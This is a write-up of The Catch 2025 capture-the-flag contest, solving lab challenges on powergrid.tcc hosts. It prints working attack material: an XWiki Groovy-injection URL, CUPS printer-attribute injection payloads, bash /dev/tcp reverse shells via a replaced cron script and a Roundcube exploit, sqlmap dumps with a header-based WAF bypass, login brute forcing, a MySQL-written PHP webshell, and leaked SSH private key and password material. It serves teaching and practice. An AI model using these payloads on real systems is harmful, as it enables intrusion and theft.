Skip to content

The Catch 2025

This is the writeup for The Catch 2025 CTF by CESNET.

The Catch 2025

Reactor

You can enumerate commands, however, the order matters. So, you need to try commands in sequence until you get the flag.

require 'faraday'
require 'faraday-cookie_jar'

conn = Faraday::Connection.new('http://gpn.powergrid.tcc/') do |faraday|
 faraday.request :url_encoded
 faraday.use :cookie_jar
end
conn.get '/'


commands = ['Initiate Control Circuits']
last_command = 'Phase the Power Plant'

resp = nil
while resp.nil? || resp.body.match?(/Invalid sequence/)
 commands.each do |command|
  conn.post '/', {command: "#{command}" }
  conn.get '/'
 end
 conn.post '/', {command: "#{last_command}"}
 resp = conn.get '/'
 m = resp.body.match(/Invalid\ssequence.\sItem\s.*;(?<next_cmd>.*)&/)
 commands << m[:next_cmd] unless m.nil?
 if m.nil?
  m = resp.body.match(/FLAG{(?<flag>.*)}/)
  p m[:flag]
 end
end

Usage:

sudo gem install ...
ruby ...

You get the FLAG.

Or in python:

import requests
import re

commands = []
session = requests.Session()
session.headers = {"Content-Type": "application/x-www-form-urlencoded"}
while True:
    for command in commands:
        session.post("http://gpn.powergrid.tcc/", data=f"command={command}")
    last = session.post("http://gpn.powergrid.tcc/", data=f"command=Phase the Power Plant")

    if match := re.search(r"Item &#039;(.+)&#039; missing\. System reset\.", last.text):
        parsed_match = match.group(1)
        print(parsed_match)
        commands.append(parsed_match)
        continue

    if match_flag := re.search(r"(FLAG\{.+})", last.text):
        print(match_flag.group(1))
        break

Sunday Expansion Pack

  1. Download the original file.
  2. You will see different regex patterns in the file.

  3. F.1 0 Means that row F column 1 has character 0.

  4. 1.1 (oh|ho)* means 1. word in column 1 has either "oh" or "ho" repeated any number of times.

  5. By prioritizing the easy patterns first, you will gradually reveal https://regex-overlordxx.powergrid.tcc/ URL.

solution

The FLAG is on the page.

Void foundry

In the video at 1:16 we see site and credentials:

site: http://voidfoundry.powergrid.tcc username: void password: /dev/null

The Story

Watch the video, copy the FLAG from it (0:46).

Falcon

Chapter 1: Operator

We probably should know about /operator, the raw_command argument (is there a difference between command and raw_command? so far, not seeing a difference, but maybe, there is...)

command=FIRE0000: The "0000" is either coordinates or a hint for lengthening the attack. "Old lock, rusty hinges" could be a hint about old, vulnerable SHA1

We can see there is a display reacting to our input.

  5 VERSION:
  4 VERS v0.9
  3 Lecence a6dbacc5
  2 
  1 RANDOM PASS:
  0 gkHAjZPP

Chapter 2 of Falcon: Vendor

There is a XWiki and you were following CVEs in 2025, you know what to do - https://nvd.nist.gov/vuln/detail/CVE-2025-24893.

You can retrieve environment variables via SolrSearch with Groovy script injection:

http://thevendor.falcon.powergrid.tcc/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22cat%20%2fproc%2fself%2fenviron%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d%20
There is the FLAG in environment variables.

According to the hint, we search for firmware.

/data/firmware
/data/firmware/index.html
/data/firmware/roostguard-firmware-0.9.bin
/data/firmware/prodsite3.lol
/data/firmware/prodsite2.lol
/data/firmware/thevendor-logo.png
/data/firmware/prodsite1.lol
The contents of the /data/firmware directory are accessible at the URL http://thevendor.falcon.powergrid.tcc/firmware/.

Chapter 3: Open the door

You can extract the firmware via Ghidra.

firmware

Commands from firmware

require authentication:

TEXT
DEMO
FIRE
ZERO
TURR
LASE
AIMM

do not require authentication:

PASS
HOTP
HOTP always returns 270683 (at least for me; I have seen something else on the display already)

PASS returns on the display, e.g., ">PASS CFlshi8a" Every time different.

Sometimes I see a long string on the top line of the display, a 6-digit code on the bottom line, but it may be from other players.

strings from firmware, also with strings for display:

>TEXT%s
>LASE%c
>TURR%c
>DISC %s
>PASS %s
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_
%02x
>DEMO %d
>ZERO
%06lu
>AIMM %d %d
%08lx
>VERS 
v0.9
Licence 
>VERS
AIMM
LASE
TURR
DEMO
TEXT
PASS
HOTP

According to the comment in HTML on how to use FIRE, we can try:

raw_command=HOTPabcdEFGH
It returns a code which can be used on the login page.

After login, we see the FLAG.

Printer

Homepage shows CUPS 2.4.7.

OpenPrinting CUPS
Home
Administration
Classes
Help
Jobs
Printers
Printers
Search in Printers: 


Showing 1 of 1 printer.

Queue Name  Description Location    Make and Model  Status
HPissimo_10_200_0_95    HPissimo    powergrid.tcc   HP 0.00, driverless, 2.1b1  Processing - "cfFilterExternal (ipp): Logging (PID 534) started."
Copyright © 2021-2023 OpenPrinting. All rights reserved.

We know there were exploit chains for CUPS leading to RCE in the past.

The first exploit does not work, it seems: when I print a test page on my newly added printer:

]
└─$ python exploit.py `myip` 10.99.25.20
malicious ipp server listening on  ('10.200.0.23', 1234)
sending udp packet to 10.99.25.20:631 ...
wating ...
^[[6;7~----------------------------------------
Exception occurred during processing of request from ('10.99.25.20', 46328)
Traceback (most recent call last):
  File "/usr/lib/python3.13/socketserver.py", line 697, in process_request_thread
    self.finish_request(request, client_address)
    ~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.13/socketserver.py", line 362, in finish_request
    self.RequestHandlerClass(request, client_address, self)
    ~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.13/socketserver.py", line 766, in __init__
    self.handle()
    ~~~~~~~~~~~^^
  File "/usr/lib/python3.13/http/server.py", line 436, in handle
    self.handle_one_request()
    ~~~~~~~~~~~~~~~~~~~~~~~^^
  File "/usr/lib/python3.13/http/server.py", line 424, in handle_one_request
    method()
    ~~~~~~^^
  File "/home/kali/.local/share/virtualenvs/print-3Jdnptrg/lib/python3.13/site-packages/ippserver/server.py", line 101, in do_POST
    self.handle_ipp()
    ~~~~~~~~~~~~~~~^^
  File "/home/kali/.local/share/virtualenvs/print-3Jdnptrg/lib/python3.13/site-packages/ippserver/server.py", line 140, in handle_ipp
    ipp_response = self.server.behaviour.handle_ipp(
                   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^
        self.ipp_request, postscript_file
        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
    ).to_string()
    ^
  File "/home/kali/.local/share/virtualenvs/print-3Jdnptrg/lib/python3.13/site-packages/ippserver/behaviour.py", line 71, in handle_ipp
    return command_function(ipp_request, postscript_file)
  File "/home/kali/.local/share/virtualenvs/print-3Jdnptrg/lib/python3.13/site-packages/ippserver/behaviour.py", line 163, in operation_print_job_response
    self.handle_postscript(req, psfile)
    ~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^
  File "/home/kali/.local/share/virtualenvs/print-3Jdnptrg/lib/python3.13/site-packages/ippserver/behaviour.py", line 410, in handle_postscript
    raise NotImplementedError
NotImplementedError
----------------------------------------
exploit.py required minor fixes. It is the script from

https://gist.github.com/stong/c8847ef27910ae344a7b5408d9840ee1

def wait_until_ctrl_c():
    try:
        while True:
            time.sleep(300)

The challenge is sometimes unstable.

Tried a different exploit. https://github.com/fearsoff-org/CVE-2025-49113/blob/main/CVE-2025-49113.php https://github.com/Alie-N/cups-vulnerability-exploit/blob/main/exploit.py

One of them needed to actually accept the command on the command line...

The next exploit works though:

Another one

Use and follow instructions from https://github.com/gumerzzzindo/CVE-2024-47176/tree/main.

Go to http://ipp.powergrid.tcc:631/printers.

Select your printer and print a test job.

Original exploits fixed.

It is possible to use https://github.com/Alie-N/cups-vulnerability-exploit?tab=readme-ov-file and put the payload in either of these attributes of the IPP config (the printer's):

printer-make-and-model:

(SectionEnum.printer, b'printer-make-and-model', TagEnum.text_without_language): [b'HP 0.00"\n*FoomaticRIPCommandLine: "'+self.command.encode()+b'"\n*cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip'],

printer-privacy-policy-uri:

(SectionEnum.printer, b'printer-privacy-policy-uri', TagEnum.uri): [b'https://www.google.com/%22%5Cn*FoomaticRIPCommandLine: "' + self.command.encode() + b'"\n*cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip'],

In both cases, there is an escape out of the value with " and injected a FoomaticRIPCommandLine attribute.

Privilege escalation

lp@825b3290adbf:/$ cat -n /etc/cron* /etc/cron*/*
...
    26  * * * * * cups_admin PATH=/opt/scripts:/usr/bin:/bin /usr/bin/python3 /opt/secure-scripts/statistics.py -n /opt/scripts/print_count.sh > /var/log/cron.log 2>&1
...
cat pri*
#!/bin/bash

log="/var/log/cups/access_log"
output="/tmp/stats.txt"

grep 'POST /printers/.*HTTP/1\.1" 200' "$log" | awk '{ print $4, $7 }' | while read -r datetime path; do
    date=$(echo "$datetime" | cut -d: -f1 | tr -d '[')
    printer=$(echo "$path" | cut -d'/' -f3)
    echo "$date $printer"
done | sort | uniq -c | sort -nr > "$output"

lp@825b3290adbf:/opt/scripts$ 

The content is not important; we can delete it and upload our own script.

Reverse shell

rm /opt/scripts/print_count.sh
cat > /opt/scripts/print_count.sh << EOF
#!/usr/bin/bash
bash -c 'bash -i >& /dev/tcp/10.200.0.42/9000 0>&1'
EOF
chmod 777 /opt/scripts/print_count.sh
- You become: uid=1000(cups_admin) id=1001(cups_admin) groups=1001(cups_admin),1000(cronexec)

  • Shell cups-admin.
$ sudo -l
Matching Defaults entries for cups_admin on 825b3290adbf:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User cups_admin may run the following commands on 825b3290adbf:
    (ALL) NOPASSWD: /bin/cat /root/TODO.txt

sudo /bin/cat /root/TODO.txt
- There is the FLAG.

Sensor array

Target is broker.powergrid.tcc.

Scan the host:

nmap -v -sV -p- broker.powergrid.tcc

...
PORT     STATE SERVICE VERSION
1883/tcp open  mqtt

If we try to use scripts we get unathorized:

nmap -sC -sV -p1883 broker.powergrid.tcc
...
PORT     STATE SERVICE VERSION
1883/tcp open  mqtt
|_mqtt-subscribe: Connection rejected: Not Authorized

Let's try UDP:

nmap -sV -sU -p161,162 broker.powergrid.tcc
...
PORT    STATE  SERVICE  VERSION
161/udp open   snmp     SNMPv1 server; net-snmp SNMPv3 server (public)
162/udp closed snmptrap
Service Info: Host: Mosquitto

Let's try scripts:

nmap -sC -sU -p161 broker.powergrid.tcc
...
PORT    STATE SERVICE
161/udp open  snmp
| snmp-sysdescr: MQTT broker for power grid sensors. Only reader has the rights to subscribe to a topic!
|_  System uptime: 1d00h34m14.51s (8845451 timeticks)
| snmp-info:
|   enterprise: net-snmp
|   engineIDFormat: unknown
|   engineIDData: 50d007493ff6896800000000
|   snmpEngineBoots: 15
|_  snmpEngineTime: 1d00h34m14s

reader?

Let's try it (using the same password as a username):

mosquitto_sub -h broker.powergrid.tcc -t '#' -v -u reader -P reader

Now wait for a message with a FLAG.

Inaccessible Backup

  1. Download memory dump
  2. Get SSH key
    strings inaccessible_backup.dump  | grep OPENSSH -A 33 | less
    
  3. Get URL and user strings inaccessible_backup.dump | grep -i backup
  4. SSH to the machine; there is the FLAG.

Alternative way to find strings.

strings inaccessible_backup.dump --bytes 12  >stringsfrominaccessible_backup.dump12
Search for "backup":
@backup.powergriv6Aje+NvsdOk bkp
backup_key-cert.pub
backup_key-cert.pub.pub
backup_key.pub
make_backup: RENAME %s successful.
make_backup: DEVICE %s successful.
make_backup: SYMLINK %s successful.
keep_backup failed: %s -> "%s"
make_backup: COPY %s successful.
when --backup-dir is the same as the dest dir
Debug backup actions (levels 1-2)
BACKUP,MISC2,MOUNT,NAME2,REMOVE,SKIP
ACL,BACKUP,CONNECT2,DELTASUM2,DEL2,EXIT,FILTER2,FLIST2,FUZZY,GENR,OWN,RECV,SEND,TIME
--backup, -b             make backups (see --suffix & --backup-dir)
--backup-dir=DIR         make backups into hierarchy based in DIR
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
@backup.powergriv6Aje+NvsdOk bkp
.ssh/backup_key
<78>Sep  3 19:46:01 CRON[12716]: (root) CMD (eval $(keychain --eval --quiet /root/.ssh/backup_key) && /usr/bin/rsync --delete -avz /var/www/html/ bkp@backup.powergrid.tcc:/zfs/backup/w
ww/ > /dev/null 2>&1)
eval $(keychain --eval --quiet /root/.ssh/backup_key) && /usr/bin/rsync --delete -avz /var/www/html/ bkp@backup.powergrid.tcc:/zfs/backup/www/ > /dev/null 2>&1
We want to get to bkp@backup.powergrid.tcc:/zfs/backup/www/; there are probably backups we are looking for. Let's try if it's alive:
bkp@backup.powergrid.tcc: Permission denied (publickey).
It does not make sense to look for the password, but the private key could be in memory since there is a keychain.

I tried to search for:

/[^\.]ssh.*backup.powergrid                  
I found the public key:
(ssh-ed25519 AAAAC3NzaC1lZDI.../Td1jiNJ bkp@backup.powergrid.tcc
When I search for the substring of this pubkey in memory, I find it there multiple times and a few pages of strings next to it, also some private keys... which is lucky, because the beginning of various pubkeys are the same; by this, I found various private keys.

(ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJJLKgX4pt6Rrnskgmf5Zfe59MmCAh5GC7hCoalO38+8sjiN9KZrMWxTIm/3kKzC5tPaDgSqh/FwGN6ryKwD/+tOIsC/en2cvclcE60ARMbR6cUrqO2TqEphXLgUurE2pzlcneTRXX8PHmQsG0WkqCy22VPaHT0sNHtc3wCse18Uz5NeacK691SZGmd3+1i+FJHLRsmfoeoRXlLwOdEKWfS59AKW0J8yh2fU2Fr2CfpRemCwDQmX/WBWf6aT+fk+YlZg/hz4ZTQwIhPQ2FRwq+0HFnZjoqFF4BhMpd87wYPYHXJQ+k2kMBbXDcK+5Bycrk+0kjjsU+e8Asi1dMEp5N4qE12LyE7L2qHcLh7eq2nYzHg3GmIYEi9vb9cX5VANNrJDPSGE77MzO9fQqWI/l53WnHZkAL5TRYVcTGIYoK5snltc1tXjtSOLauCPXxjQQRzzgOIZm0oufuI2gYIuh76Q9oPbFZP2h9ZB1sFU6E12/CKiLsv9CrnvK8yFolckU= root@thecatch

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS
1zaGEyLW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQTA2qoyMLNozBRTfVQlUEYHGvspOfUO
lHMA7AGtf+HxkgkMv3vuey32zRXP9H4FjJ1qYTLOd5ENWhdd0zmcB7YpAAAAqK0BRKutAU
SrAAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMDaqjIws2jMFFN9
VCVQRgca+yk59Q6UcwDsAa1/4fGSCQy/e+57LfbNFc/0fgWMnWphMs53kQ1aF13TOZwHti
kAAAAhAOxGG4s7mlvlYW2E8Ussh9Xor4ShjiO9ax3ppuhkuPh9AAAADXJvb3RAdGhlY2F0
-----END OPENSSH PRIVATE KEY-----
I will let ChatGPT write a script to iterate all keys... The catch is that the seventh, penultimate key is in the form "BEGIN...balast...BEGIN-key-END", and the vibe-script will try it with that balast too.

After connecting, the machine immediately outputs the flag.

BTW, there are tools: - bulk_extractor - beautiful data, but no SSH keys. - binwalk -e - nothing from that.

Webmail

https://github.com/hakaioffsec/CVE-2025-49113-exploit/blob/main/CVE-2025-49113.php

  1. Find /backup.
  2. Find the password for the user from the hint.
    php CVE-2025-49113.php http://webmail.powergrid.tcc/ ADM40092 WELCOME6 'echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjIwMC4wLjY5LzMzMzMz IDA+JjEK|base64 -d | bash'
    
  3. cat /etc/passwd; there is the FLAG.

Broker

  1. Nmap the broker, you have to scan UDP ports, use --top-ports.
  2. SNMPv1 enum.
    snmpwalk -v1 -c public broker.powergrid.tcc
    
  3. Subscribe to all MQTT channels.
    mosquitto_sub -h broker.powergrid.tcc -t "#" -v -u reader -P reader
    

Gridwatch

Checkout gridwatch.powergrid.tcc and get access.

nmap -sV -v -A gridwatch.powergrid.tcc
...
PORT     STATE SERVICE VERSION
8080/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-open-proxy: Proxy might be redirecting requests
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was /authentication/login?_checkCookie=1
|_http-server-header: Apache/2.4.62 (Debian)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS

Access the site.

We have nothing, let's try possible usernames: gridwatch, icinga.

Add the usernames to a file. Use a common list.

Copy the login request into a file and replace the stuff you want to fuzz.

POST /authentication/login HTTP/1.1
Host: gridwatch.powergrid.tcc:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Icinga-Accept: text/html
X-Icinga-Container: layout
X-Icinga-WindowId: eorknlgqtjwz
X-Requested-With: XMLHttpRequest
Content-Length: 172
Origin: http://gridwatch.powergrid.tcc:8080
Connection: keep-alive
Referer: http://gridwatch.powergrid.tcc:8080/authentication/login
Cookie: _chc=1; Icingaweb2=693qru8anv9gf0e632delm2rni; icingaweb2-tzo=-14400-1
Priority: u=0

username=FUZZUSER&password=FUZZPASS&rememberme=0&redirect=&formUID=form_login&CSRFToken=1181076313%7Cc310773b64e712017135edad196f486e9346a4a0612ea2e249e3801097b21ab8&btn_submit=Login

Run the bruteforce:

ffuf -request icinga-login.txt -w /usr/share/wordlists/dirb/common.txt:FUZZPASS -w users:FUZZUSER -request-proto http -ms 0 -r

We get icinga:test.

Now go through the website and enumerate what we can see. We find ip addresses for webserver and ldap. We are on the webserver, so lets checkout the ldap.

nmap -sV -v -sC 10.99.25.52
...
PORT    STATE SERVICE VERSION
389/tcp open  ldap    OpenLDAP 2.2.X - 2.3.X

Let's try anonymous login. ldap supposedly has one.

First check for anonymous login:

ldapwhoami -x -H ldap://10.99.25.52:389

Now search the base:

ldapsearch -x -H ldap://10.99.25.52:389 -s base -b "" "(objectClass=*)" "*" +

Now we know domain - dc, search it all:

ldapsearch -x -H ldap://10.99.25.52:389 -b "dc=ldap,dc=powergrid,dc=tcc" "(objectClass=*)"

command breakdown

ldapsearch → Command-line tool for querying an LDAP directory. -x → Uses simple authentication (instead of SASL). -H ldap://1.1.1.1:389 → Specifies the LDAP server (1.1.1.1) and port (389). -s base → Performs a base-level search (queries only the root DSE, not full directory traversal). -b "" → Sets the base DN to an empty string, meaning it searches at the root DSE level. "(objectClass=)" → Queries for all objects in the directory. "" → Requests all standard attributes. "+" → Requests operational attributes, which are normally hidden (e.g., schema details, server info).

In the response we see description at the user mscott. It's base64. Let's decode it:

echo UHdkIHJlc2V0IHRvIFRoYXRzd2hhdHNoZXNhaWQK | base64 -d

We get: mscott:Thatswhatshesaid.

Use the credentials to log in the Icinga again.

We find the FLAG in the event history http://gridwatch.powergrid.tcc:8080/icingadb/history.

Webhosting

:8000/app

"uživatel nalezen, ale heslo není správné."

e.g., admin, test, TEST, ADMIN.

301      GET        9l       28w      343c http://wwwhost-new.powergrid.tcc:8000/app => http://wwwhost-new.powergrid.tcc:8000/app/
200      GET        0l        0w        0c http://wwwhost-new.powergrid.tcc:8000/app/config.php
301      GET        9l       28w      347c http://wwwhost-new.powergrid.tcc:8000/app/css => http://wwwhost-new.powergrid.tcc:8000/app/css/
302      GET        0l        0w        0c http://wwwhost-new.powergrid.tcc:8000/app/events.php => login.php
302      GET        0l        0w        0c http://wwwhost-new.powergrid.tcc:8000/app/index.php => login.php
301      GET        9l       28w      348c http://wwwhost-new.powergrid.tcc:8000/app/lang => http://wwwhost-new.powergrid.tcc:8000/app/lang/
200      GET        7l     2103w   160302c http://wwwhost-new.powergrid.tcc:8000/app/css/bootstrap.min.css
200      GET       37l       79w     1490c http://wwwhost-new.powergrid.tcc:8000/app/login.php
302      GET        0l        0w        0c http://wwwhost-new.powergrid.tcc:8000/app/logout.php => login.php
302      GET        0l        0w        0c http://wwwhost-new.powergrid.tcc:8000/app/logs.php => login.php
301      GET        9l       28w      347c http://wwwhost-new.powergrid.tcc:8000/app/log => http://wwwhost-new.powergrid.tcc:8000/app/log/

feroxbuster reacts to various .git but also to /nbproject. It is not clear if it is due to configuration to respond with 403, or why.

X-Forwarded-For

Against URL http://wwwhost-new.powergrid.tcc:8000/nbproject/ with values:

127.0.0.1
localhost

X-Forwarded-For misconfiguration: The host accepted the X-FORWARDED-FOR header, which can be used to bypass access control checks and access protected endpoints, for example:

curl -i ... -H 'X-Forwarded-For: 127.0.0.1'
Wordlist of synonyms I tried: https://gist.githubusercontent.com/kaimi-/6b3c99538dce9e3d29ad647b325007c1/raw/921b0dd64e01c31106ece6087a3582e2d6fc6bc2/gistfile1.txt (in Burp, easy to filter in Intruder /:.*//)

Valid Login http://wwwhost-new.powergrid.tcc:8000/app/login.php

test:testtest

SQLMAP: ./sqlmap.py -u http://wwwhost-new.powergrid.tcc:8000/app/login.php -A curl --forms User-agent needs to be changed; otherwise, sqlmap is blocked with 403. - So there is a WAF.

In log http://wwwhost-new.powergrid.tcc:8000/app/events.php, we see: Server: Modsecurity - IP 203.0.113.10 whitelisted

SQLi

./sqlmap.py -u http://wwwhost-new.powergrid.tcc:8000/app/login.php -A curl --forms --headers="X-forwarded-for:203.0.113.10" --dbs
and then
./sqlmap.py -u http://wwwhost-new.powergrid.tcc:8000/app/login.php -A curl --forms --level 5 --risk 3 --headers="X-forwarded-for:203.0.113.10" -D myapp --dump-all

We obtain the hash for user admin; hashcat says admin:Princess25 We also see admin_tools - file listing; it is a form, but the file cannot be changed. And Adminer 5.3.0, but we do not know the credentials.

  • Dump INFORMATION_SCHEMA reveals one user 'svc_myapp'@'localhost'

File read via injection

  • POST na /app/admin_tools.php It is necessary to add X-forwarded-for: 203.0.113.10.

lines=20000 /etc/passwd
This is poorly sanitized command injection:
$output = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_POST['lines'])) {
        $lines = $_POST['lines'];
        $output = shell_exec("/usr/bin/tac " . 
            LOGINS . "| head -n " . escapeshellcmd($lines));
    }
}

Source Code Exfiltration

We return to source code dumping because there might be another vulnerability to chain with Adminer.

admin_tools.php

php-template=
<?php
require_once 'session.php';

if ($_SESSION['user'] !== 'admin') {
    http_response_code(403);
    echo $langs['access_denied'];
    exit;
}

$output = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_POST['lines'])) {
        $lines = $_POST['lines'];
        $output = shell_exec("/usr/bin/tac " .
            LOGINS . "| head -n " . escapeshellcmd($lines));
    }
}
...

config.php

<?php
session_start();

define('DB_HOST', 'localhost');
define('DB_NAME', 'myapp');
//define('DB_USER', 'developer');
define('DB_USER', 'svc_myapp');
define('DB_PASS', '423e5dc8f0db6b19c85d87d69af31844');

define('LOGINS', __DIR__ . '/log/logins.log');

$language_files = [
    'cs' => 'lang/cs.php',
    'en' => 'lang/en.php',
];

$lang = $_GET['lang'] ?? $_SESSION['lang'] ?? 'cs';
if (!array_key_exists($lang, $language_files)) {
    $lang = 'cs';
}
$_SESSION['lang'] = $lang;

require_once __DIR__ . '/' . $language_files[$lang];

Adminer

Maybe user developer has some DB or other rights?

SELECT *                                               
FROM ALL_PLUGINS 

LIMIT 0 , 100

INTO OUTFILE '/var/www/html/dump.txt'

Error in query (1290): The MariaDB server is running with the --secure-file-priv option, so it cannot execute this statement

We got a different error message!

http://wwwhost-new.powergrid.tcc:8000/app/tools/adminer-5.3.0-mysql.php?username=developer&variables= We want following variable:

secure_file_priv    /var/www/html/app/uploads/
So we can try
SELECT *      
FROM ALL_PLUGINS 
LIMIT 0 , 100
INTO OUTFILE '/var/www/html/app/uploads/zombiewashere.php'

Query executed OK, 97 rows affected. (0.004 s) Edit, Warnings

However, I don't have any other rights, so another problem is how to influence what is written there.

As both users have minimal rights to read and write, I approached it incorrectly by trying to write a reverse shell to a (new) table, but the developer cannot read any.

In the end, it was simple:

SELECT '----BEGIN---<?php exec("/bin/bash -c ''bash -i >& /dev/tcp/10.200.0.42/9000 0>&1''");?>--END-------'
LIMIT 0 , 100
INTO OUTFILE '/var/www/html/app/uploads/zombiewashere5.php'
However, it does not call home...

I can't use system(), exec(); when I try, it falls to a 500 error and stops executing PHP.

File write

So I either find an alternative function, or in the worst case, write everything in PHP:

SELECT '----BEGIN---<?php var_dump(getenv());?>--END-------'
LIMIT 0 , 100
INTO OUTFILE '/var/www/html/app/uploads/zombiewashere9.php'

Or another possibility is to call mail() and LD_PRELOAD etc

ini_get('disable_functions')
"exec,passthru,system,proc_open,popen,pcntl_exec"
Hmmm, I don't see shell_exec() in disabled functions.

Wohoooo.....

SELECT '----BEGIN---<?php echo(shell_exec(''id''));?>--END-------'
LIMIT 0 , 100
INTO OUTFILE '/var/www/html/app/uploads/zombiewasherex2.php'

It was a matter of luck to have shell_exec available instead of exec, and the reverse shell would have worked immediately.

Reverse Shell

Base64 coded bash revshell worked reliably; then it was sufficient to look into /secrets; there is the FLAG.

Threatening Message

  1. Load events in log2timeline/plaso, extract plaso events to CSV.
    docker run -v ~/Downloads:/data log2timeline/plaso psort.py -o dynamic /data/image.plaso -o l2tcsv -w output.csv
    
  2. Find the event where command injection via curl happened (grep curl).
  3. Download the same file from the curl command; the address is the C2 server address.
  4. Fuzz the C2 server /keys, /me, /current, /ssh; some endpoints have directory listing.
  5. Find malware, extract pyinstaller malware (https://github.com/extremecoders-re/pyinstxtractor), decompress sc.pyz (https://pylingual.io/).
  6. You will find keys. Some of these keys were used to encrypt the disk (../enc file).
  7. Based on the logs and downloading all keys, comparing the MD5 hash will show that 814ba8dd6ef58933fb84203d4c53b9f8 ./key_140261531202.pub was used (note: it must be MD5).
  8. Find the event where the attacker logged in to some server via SSH (TCP FLOW).
  9. Try all keys from /ssh on the newly acquired SSH server.
  10. You will obtain a tar archive with encrypted files; decrypt them with the key key_140261531202.pub and sc.py.
  11. The decrypted CSV file contains the flag in b64, but in a way that an automatic flagcatcher would not catch it.

Details

To fill in some gaps above: 2. A lot of events in CSV; just use ViM and remove noise. On the edge of those new changes (encryption of many files), there are a few commands and curls:

http_request: GET /get_user_by__iid?q=curl%20http%3A%2F%2F%5B2001%3Adb8%3A7cc%3A%3A25%3A28%5D%2Fmy%2Fbackup2%20-o%20%2Ftmp%2Fbackup.sh HTTP/1.1 from: 2001:db8:7cc::25:28 code: 200 user_agent: curl/7.88.1

whoami
curl -h
curl http://[2001:db8:7cc::25:28]/my/backup2 -o /tmp/backup.sh

http://[2001:db8:7cc::25:28]/my/backup2
http://[2001:db8:7cc::25:28]/my/authorized_keys
08/25/2025,13:30:26,UTC,.A..,FILE,Bodyfile,Last Access Time,-,-,/home/doublepower/.ssh/authorized_keys,/home/doublepower/.ssh/authorized_keys Owner identifier: 1002 Group identifier: 1002 Mode: -rw------- MD5: c5b785e88e7595f7c14088876df69f48,2,OS:/data/container_app_new.mac,4092333,-,bodyfile,sha256_hash: e95b1b5ad836165d2a3c326096c9ee8954b25f00f84f4dd57c765d4eed9858a1; size: 754; symbolic_link_target: 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDfNdTWbbR36jcWvd/llRWiflkogmDP2i9WdyfPrTo4pWFZBpU7atijn/z8q5pBZK3WL8dsKhxaEnhq4Jxx3BNoGEhz37q+IqET8XcTv/xwKypMFmnIQJjjmaz4YaZIMLs5ZkCe4xGXVaeu4pQzJ+4b1ixA0CArN5eM2czqzZWbiFsgJLryhqf9Gtj6tZg5ZEw4ApRO5lWQMb/JnneHxgGfBdCy9poszV2Z1XW+kSwz25LsBY6PfHlP6YMCTTAuk1346kns/vGgkS1ckvk7JrsqXNfG9/t+ae02OfvRVvnn4il7B5gufC565xMcScIvxKUEwiNEFqIV5z0PGBSrYvIyAhAkVbqsDz2WSNxb5LPATE2oMAwsl8L4fraam/Lg9yGQG79nNulvM62XWXXL+mkjL1xUm+SAQDGqif2uor8j129DP2BmafRuSe/JP7oPAHOetGrR9Y1VomkwKO6xTfUX6Fjb2uYePcZUha1Bb7gRVTiwur3XZxBNiYHGh4Qqn2Yg+iSm8lJ/EgiI2Y2jbrArYE0+W4b7Pqq8i5pIxpFJm40t6Jslql4AP/URWhwPy7HCycTnP93DVYEi5I3IZ6lJSgZWaoYuawHBDnbA3UTB8aVlxu7aHMuLQYhlQdrm5912N5Vtoe1J6Qe6kGIICUb+ORYQR2q0F76fVkX5idj5BQ== dough.badman@doublepower.tcc
The username you need for downloading data back is in the relevant pub identity file, which ends up in an authorized_keys, but is not in this authorized_keys above.

Jokes in the files, especially after unpacking and decrypting shared.tar.gz, resemble jokes in PortSwigger Academy (blogs, etc.).

file:///home/z/VirtualBox%20VMs/kali-Shared/thecatch2025/threateningmessage/data/shared/psy-ops/pill.jpg

Suspicious communication

  1. Open PCAP in Wireshark.
  2. Use the Statistics->Conversations tool to view communication.
    • The fun happens between 10.99.254.2 (the attacker) and 10.99.25.101 (the compromised machine) on ports 42120-42125 of the attacker.
  3. Look through streams:
    • 42121: Shell, exfiltrates /var/www/html (nc to port 42122) and discovers privesc through MySQL sudo.
    • 42123: MySQL shell, encrypts and exfiltrates /etc/shadow (nc to port 42124) and a compressed image of /etc + /root + /home (nc to port 42125).
  4. Save the files on 42122 (var.tgz), 42124 (shadow.enc), 42125 (all.tgz.enc). Decrypt the two encrypted files through brute-force of PIN (it is 6 bytes as seen on 42123):

#!/usr/bin/bash

mkdir -p sus

for pin in $(seq -w 0 999999); do
    openssl aes-256-cbc -d -a -pbkdf2 -in prevstr.b64 -iter 10 -out out.tst -pass pass:$pin 2>/dev/null
    if [ $? -eq 0 ]; then
